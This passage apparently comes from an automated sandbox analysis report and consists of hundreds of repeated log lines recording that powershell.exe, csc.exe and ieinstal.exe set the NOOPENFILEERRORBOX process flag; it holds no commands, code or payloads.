            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
